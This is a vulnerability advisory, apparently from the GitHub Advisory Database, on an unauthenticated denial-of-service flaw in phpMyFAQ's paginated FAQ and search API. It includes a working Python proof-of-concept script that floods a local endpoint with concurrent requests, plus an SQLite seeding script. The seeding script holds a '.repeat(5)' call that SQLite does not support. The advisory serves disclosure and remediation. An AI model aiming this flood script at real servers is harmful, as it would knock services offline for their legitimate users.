All vulnerabilities
GHSA-m42f-6p37-2c79

phpmyfaq/phpmyfaq: Unauthenticated Denial of Service (DoS) via Uncontrolled Resource Consumption in API Pagination

phpmyfaq/phpmyfaq
CVSS
n/aHigh
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in4.2.0-betaFixed versionGitHub
Published3 Oct 2026Updated 3 Oct 2026GitHub

What fixes it

  • 4.2.0-betaphpmyfaq/phpmyfaq, composerGitHubcomposer require "phpmyfaq/phpmyfaq:^4.2.0-beta"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

The REST API endpoints for listing FAQs (GET /api/v4.0/faqs) and searching (GET /api/v4.0/search) implement pagination at the application level rather than the database level. When an unauthenticated attacker requests these endpoints, the application fetches all matching records (or all published FAQs) from the database into PHP memory. It then iterates over the entire result set, performs string operations (like strip_tags and slug generation), and uses PHP's usort before slicing the array to return the requested page. On a sufficiently populated database, this leads to Uncontrolled Resource Consumption (CPU and Memory exhaustion), allowing a Denial of Service (DoS) attack.

Evidence

The implementation in phpMyFAQ/Controller/Api/FaqController.php (method list) retrieves records via $this->faq->getAllFaqs(), which ultimately executes a SELECT query in FaqRepository::fetchAllFaqs without any LIMIT or OFFSET clauses.

phpmyfaq/src/phpMyFAQ/Controller/Api/FaqController.php from line 588 to 600

            // Get all FAQs (this populates $this->faq->faqRecords)
            $this->faq->getAllFaqs(
                Faq::SORTING_TYPE_CATID_FAQID,
                [
                    'lang' => $this->configuration->getLanguage()->getLanguage(),
                    'fcr.category_id' => $ignoreOrphanedFaqs ? 'IS NOT NULL' : null,
                    'fd.status' => $onlyActive ? FaqStatus::Published->value : null,
                ],
                $sort->getOrderSql(),
            );

            $allFaqs = $this->faq->faqRecords;
            $total = is_countable($allFaqs) ? count($allFaqs) : 0;

Similarly, in phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php (method search), the code iterates over all results from the database, applies strip_tags and usort, and only then slices the array.

        if ($searchResultSet->getNumberOfResults() > 0) {
            $allResults = [];
            foreach ($searchResultSet->getResultSet() as $data) {
                $data->answer = strip_tags((string) $data->answer);
                $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);
                $data->link = sprintf(
                    // ...
                );
                $allResults[] = $data;
            }

Locally filling the database with 50,000 FAQs causes a single request to GET /api/v4.0/faqs to take multiple seconds and consume hundreds of megabytes of RAM. An unauthenticated attacker sending concurrent requests will exhaust PHP's memory limit or CPU capacity, denying service to legitimate users.

Impact

An unauthenticated attacker can send continuous HTTP GET requests to /api/v4.0/faqs or /api/v4.0/search?q=% to cause significant CPU and memory utilization on the application server. This will exhaust the server's resources, slow down response times, and eventually crash the application or the PHP-FPM pool, leading to a complete Denial of Service (DoS) for all legitimate users.

If the target database remains extremely small (under a few hundred records), the impact of this vulnerability is significantly reduced.

Counterevidence

The API limits the final JSON response to per_page (default 25, max 100). However, this limit is only applied via array_slice AFTER the entire dataset has been loaded from the database into a PHP array and processed (including HTML tag stripping, string formatting, and sorting via usort). This application-level pagination does not prevent the server-side resource exhaustion.

Technical Analysis

The application uses a fundamentally flawed architecture for API pagination. In Controller/Api/FaqController.php and Controller/Api/SearchController.php, the controllers invoke data-fetching methods (getAllFaqs, searchDatabase) that generate SQL queries without LIMIT or OFFSET clauses. Consequently, the database returns all matching rows (which for /api/v4.0/faqs defaults to all published FAQs).

PHP loads the entire result set into an array, processes each element (e.g., executing string manipulation, HTML tag stripping, and URL generation), and then uses usort to apply sorting rules. Finally, array_slice is called to return only the requested page (e.g., 25 items). For databases with a large number of FAQs, this results in an uncontrolled consumption of CPU and memory per request (CWE-400). As this endpoint is completely unauthenticated and accessible to any visitor, it serves as an asymmetric DoS vector where a cheap HTTP request causes extremely expensive backend processing.

Database Population for testing

To first create a large enough database and test this vulnerability, we can use the following bash script to populate the database with 5,000 test FAQs.

# Run this in the phpmyfaq directory
sqlite3 phpmyfaq/faq.db << 'EOF'
-- Create test category
INSERT INTO faq_faqcategories (id, lang, name, description, parent_id, level, path, user_id, group_id, perm_id, active)
VALUES (999, 'en', 'Test Category', 'Auto-generated test category', 0, 0, '999', 1, 1, 1, 'yes');

-- Insert 5,000 test FAQs
WITH RECURSIVE nums(n) AS (
  SELECT 1 UNION ALL SELECT n+1 FROM nums WHERE n < 5000
)
INSERT INTO faq_faqdata (lang, solution_id, revision_id, status, sticky, keywords, thema, content, author, email, comment, updated, date_start, date_end, created, notes)
SELECT 
  'en',
  n,
  0,
  'published',
  0,
  'test,faq,bulk,category',
  'Test FAQ Question ' || n || ' - Vulnerability testing content',
  '<p>This is the answer for FAQ ' || n || '. It contains <b>HTML tags</b> and <script>alert(1)</script> that need strip_tags processing. ' || 
  'Lorem ipsum dolor sit amet, consectetur adipiscing elit. '.repeat(5) ||
  '</p>',
  'Test Author ' || n,
  'test' || n || '@example.com',
  'y',
  strftime('%Y%m%d%H%M%S', 'now'),
  '00000000000000',
  '99991231235959',
  strftime('%Y%m%d%H%M%S', 'now'),
  ''
FROM nums;

-- Link FAQs to test category
WITH RECURSIVE nums(n) AS (
  SELECT 1 UNION ALL SELECT n+1 FROM nums WHERE n < 5000
)
INSERT INTO faq_faqcategoryrelations (record_id, record_lang, category_id)
SELECT n, 'en', 999 FROM nums;
EOF

Proof of Concept

  1. Ensure the phpMyFAQ instance has a large number of published FAQs (e.g., via bulk import or long-term usage).
  2. Send an unauthenticated HTTP GET request to /api/v4.0/faqs or /api/v4.0/search?q=a.
  3. Observe that the server takes significant time to respond and memory usage spikes, as it fetches all FAQs into memory before returning only the first 25.
  4. Send multiple concurrent requests to the endpoint to exhaust server CPU and memory.
import requests
import concurrent.futures
import time
import sys

URL = "http://127.0.0.1:8080/api/v4.0/faqs"
# Alternative: URL = "http://127.0.0.1:8080/api/v4.0/search?q=test"
CONCURRENT_REQUESTS = 50
REQUEST_TIMEOUT = 30

def trigger_dos():
    try:
        response = requests.get(URL, timeout=REQUEST_TIMEOUT)
        return response.status_code, len(response.content)
    except Exception as e:
        return str(e), 0

def main():
    print(f"[*] Target: {URL}")
    print(f"[*] Concurrent requests: {CONCURRENT_REQUESTS}")
    print(f"[*] Starting DoS test...")
    
    start_time = time.time()
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=CONCURRENT_REQUESTS) as executor:
        futures = [executor.submit(trigger_dos) for _ in range(CONCURRENT_REQUESTS)]
        results = [f.result() for f in concurrent.futures.as_completed(futures)]
    
    elapsed = time.time() - start_time
    success = sum(1 for r in results if isinstance(r[0], int) and r[0] == 200)
    errors = sum(1 for r in results if not isinstance(r[0], int) or r[0] != 200)
    
    print(f"[*] Completed in {elapsed:.2f} seconds")
    print(f"[*] Successful: {success}, Errors: {errors}")
    print(f"[*] Check server CPU/memory - should be exhausted")
    
    # Check if server is still responsive
    try:
        r = requests.get("http://127.0.0.1:8080/", timeout=5)
        print(f"[*] Server still responsive: {r.status_code}")
    except:
        print(f"[*] Server appears to be DOWN (DoS successful)")

if __name__ == "__main__":
    main()

Remediation

Refactor the pagination logic to use database-level constraints (LIMIT and OFFSET) instead of application-level array slicing. Update getAllFaqs() and fetchAllFaqs() to accept limit and offset parameters and apply them directly to the SQL queries. Introduce a separate count() method to accurately retrieve the total number of records for the pagination metadata without loading the actual rows.

Text from GitHub Advisory Database

Affected versions 1

  • phpmyfaq/phpmyfaq, composer<4.2.0-alpha.2GitHub